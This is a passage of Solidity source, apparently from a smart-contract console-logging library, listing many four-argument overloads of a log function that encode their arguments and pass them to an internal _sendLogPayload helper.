internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint 